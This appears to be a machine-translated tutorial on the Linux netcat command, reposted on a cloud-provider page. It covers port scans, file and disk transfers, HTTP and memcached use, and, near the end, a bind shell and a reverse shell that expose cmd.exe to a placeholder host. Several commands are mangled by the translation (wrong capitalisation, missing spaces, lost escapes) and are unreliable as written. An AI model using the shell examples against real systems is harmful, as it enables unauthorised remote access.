(turn) Linux NC command usage explained

Source: Internet
Author: User
Tags set time domain name server

The Linux NC command uses a detailed

Original: https://www.2cto.com/os/201306/220971.html

Feature Description: Powerful networking tools

Syntax: NC [-hlnruz][-g< Gateway ...>][-g< number of points >][-i< delay seconds >][-o< output file >][-p< communication port >][-s< Source Address >][-v ...] [-w< timeout number of seconds;] [Host name] [Communication port ...]

Parameters

-g< Gateway > Set Router Hop communication gateway, the most lost oh can be set to 8.

-g< number of pointers > set source route-to-point, with a number of multiples of 4.

-H online Help.

-i< delay seconds > Set time interval for transmitting information and scanning communication ports.

-L Use the monitor mode to control incoming data.

-N uses the IP address directly, not through the domain name server.

-o< output File > Specify the name of the file, and transfer the data transferred to the file in 16 Loadline to save.

-p< Communication port > Set the communication port used by the local host.

-R chaos Specifies the communication port between the local and the remote host.

-s< Source location > Set the IP address of the local host to send the packet.

-U uses the UDP transport protocol.

-V Verbose output--with two-V for more detailed content

-w< Timeout seconds > Set the time to wait for the connection.

-Z uses 0 in/out mode and is only used when scanning communication ports.

Examples of NC use

1. Port scan

# nc-v-W 2 192.168.2.34-z 21-24

Nc:connect to 192.168.2.34 port (TCP) Failed:connection refused

Connection to 192.168.2.34 Port [Tcp/ssh] succeeded!

Nc:connect to 192.168.2.34 port (TCP) Failed:connection refused

Nc:connect to 192.168.2.34 port (TCP) Failed:connection refused

2. copy files from 192.168.2.33 to 192.168.2.34

On 192.168.2.34: nc-l 1234 > Test.txt

On 192.168.2.33: NC 192.168.2.34 < Test.txt

3. Simple Chat Tool

On 192.168.2.34: nc-l 1234

On 192.168.2.33: NC 192.168.2.34 1234

In this way, the two sides can communicate with each other. Use CTRL + C (or D) to exit.

4. Operate memcached with NC commands

1) Store data: printf "Set key 0 6rnresultrn" |nc 192.168.2.34 11211

2) Get data: printf "Get Keyrn" |nc 192.168.2.34 11211

3) Delete data: printf "Delete Keyrn" |nc 192.168.2.34 11211

4) View status: printf "STATSRN" |nc 192.168.2.34 11211

5) Analog Top command View status: Watch "echo stats" |nc 192.168.2.34 11211

6) Empty cache: printf "flush_allrn" |nc 192.168.2.34 11211 (careful operation, empty the cache is gone)

5. Nc-p 1234-w 5 host.example.com 80

Establish a 80-port connection from local 1234 port to host.example.com, 5-second timeout

Nc-u host.example.com 53

U is a UDP connection

6. Echo-n "get/http/1.0" R "N" r "n" | NC host.example.com 80

Connect to the host and perform

7. Nc-v-Z host.example.com 70-80

Scan ports (70 to 80) to specify a range. -V Output details.

8. Remotely copy files

Copy files from Server1 to Server2. You need to activate the monitor with NC on the Server2 first,

Run on Server2:

[Email protected] tmp]# NC-LP 1234 > Install.log

Run on Server1:

[email protected] ~]# ll Install.log

-rw-r–r–1 root root 39693 December Install.log

[Email protected] ~]# nc-w 1 192.168.228.222 1234 < Install.log

9. Cloning a hard disk or partition

The operation is identical to the copy above, only the data of the hard disk or partition must be obtained by DD and then transferred.

Cloning the operation of a hard disk or partition should not take place on a system already on mount. Therefore, after booting with the installation disc, enter rescue mode (or use the Knoppix tool CD) to boot the system and perform a similar listening action on the Server2:

# nc-l-P 1234 | DD OF=/DEV/SDA

Perform the transfer on Server1 to complete the task of cloning the SDA hard drive from Server1 to Server2:

# DD IF=/DEV/SDA | NC 192.168.228.222 1234

※ The prerequisite for completing the above work is to implement the CD rescue mode to support the network card on the server and properly configure the IP.

10. Save the Web page

# while true; Do Nc-l-P 80-q 1 < somepage.html; Done

11. Simulate HTTP Headers, get web page source code and return header information

[[Email protected] ~]# NC www.linuxso.com 80

get/http/1.1

Host:ispconfig.org

Referrer:mypage.com

User-agent:my-browser

http/1.1 OK

Date:tue, Dec 07:23:24 GMT

server:apache/2.2.6 (Unix) dav/2 mod_mono/1.2.1 mod_python/3.2.8 python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8

SET-COOKIE:PHPSESSID=BBADORBVIE1GN037IIH6LRDG50; path=/

expires:0

Cache-control:no-store, No-cache, Must-revalidate, post-check=0, pre-check=0

Pragma:no-cache

Cache-control:private, Post-check=0, pre-check=0, max-age=0

Set-cookie:own_sid=xrutay; Expires=tue, 23-dec-2008 07:23:24 GMT; path=/

Vary:accept-encoding

Transfer-encoding:chunked

Content-type:text/html

[......]

After the NC command, enter the contents of the Red section and press ENTER two times to get the HTTP headers content from the other side.

12. Transfer Directory

Copy nginx-0.6.34 directory contents from Server1 to Server2. Need to first on the Server2, with NC activation monitoring, Server2 run:

Reference

[Email protected] tmp]# nc-l 1234 |tar XZVF-

Run on Server1:

Reference

[Email protected] ~]# ll-d nginx-0.6.34

Drwxr-xr-x 8 4096 12-23 17:25 nginx-0.6.34

[Email protected] ~]# tar czvf–nginx-0.6.34|nc 192.168.228.222 1234

13.REMOTE Host Binding Shell

Example:

Format: nc-l-P 5354-t-e C:\winnt\system32\cmd.exe

Explanation: The Cmdshell of the remote host is bound to the TCP5354 port of the remote host

14.REMOTE host bind shell and reverse Connect

Example:

Format: NC-T-e c:\winnt\system32\cmd.exe 192.168.x.x 5354

Explanation: Bind the remote host's Cmdshell and reverse connect to the 192.168.x.x TCP5354 port

These are some of the most basic uses (in fact, there are a lot of NC usage,

When the Mate Pipeline command "|" With the redirect command "<", ">" and so on command function more powerful ... )。

(turn) Linux NC command usage explained

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.